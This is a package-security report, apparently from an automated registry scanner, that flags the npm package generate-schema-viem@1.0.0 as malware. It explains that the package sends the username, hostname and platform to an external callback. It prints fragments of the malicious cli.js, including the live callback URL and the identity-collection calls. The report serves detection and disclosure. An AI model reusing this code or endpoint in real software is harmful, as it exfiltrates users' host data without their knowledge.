registry / Data exfiltration / generate-schema-viem
generate-schema-viem
Minimal npx package that POSTs package name and whoami to an OOB callback
This report shows the evidence for generate-schema-viem@1.0.0. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe package has no apparent schema-generation implementation; its only executable harvests host identity information and sends it to an external callback without notice. This is concrete data exfiltration activated by normal package use.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Executing the package through its bin command or main entrypoint.
Impact
Discloses the local username, hostname, platform, and package identity to an external service.
Mechanism
Silent host-identity collection and HTTP POST exfiltration.
Attack narrative
When the command runs, it obtains the current local username, then posts that value together with hostname and platform to an external callback. The operation is hidden by a catch block that exits cleanly on failure.
AI rationale
The package has no apparent schema-generation implementation; its only executable harvests host identity information and sends it to an external callback without notice. This is concrete data exfiltration activated by normal package use.
Evidence
bin/cli.jspackage.json
Network endpoints1
oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The executable collects the local account name using whoami, with an OS-user fallback.
- On execution it sends the account name, hostname, and platform to an unrelated external callback.
- The request is made silently and failures are suppressed, so users receive no indication that host data was sent.
Evidence against
- There are no npm install lifecycle hooks.
- The inspected package contains only the manifest and this executable; no persistence or destructive file operations were found.
Behavioral surface
ChildProcessNetwork
HighEntropyStringsUrlStrings
Source & flagged code
7 flagged · loading sourcebin/cli.jsView file
2L3: const { execFileSync } = require("node:child_process");
L4: const os = require("node:os");
L5: const { name } = require("../package.json");
L6:
L7: const OOB_URL = "https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9";
L8:
...
L13: try {
L14: return os.userInfo().username;
L15: } catch {
...
L34: },
L35: body: JSON.stringify({
High
Host Fingerprint Exfiltration
Source collects local host identity data and sends it to an external endpoint.
bin/cli.jsView on unpkg · L2•matchType = normalized_sha256
matchedPackage = npx-oob-package@1.0.1
matchedPath = cli.js
matchedIdentity = npm:bnB4LW9vYi1wYWNrYWdl:1.0.1
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
bin/cli.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = ca5e18460ef063fd
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = npx-oob-package@1.0.1
matchedPath = cli.js
matchedIdentity = npm:bnB4LW9vYi1wYWNrYWdl:1.0.1
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
High
Findings
7 High1 Medium3 Low
HighHost Fingerprint Exfiltrationbin/cli.js
HighSemantic Analysis Limitedpackage.json
HighKnown Malware Source Similaritybin/cli.js
HighKnown Malware Source Fingerprint Signaturebin/cli.js
HighAi Review Evidencebin/cli.js
HighAi Review Evidencebin/cli.js
HighAi Review Evidencebin/cli.js
MediumNetwork
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to generate-schema-viem@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing generate-schema-viem@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.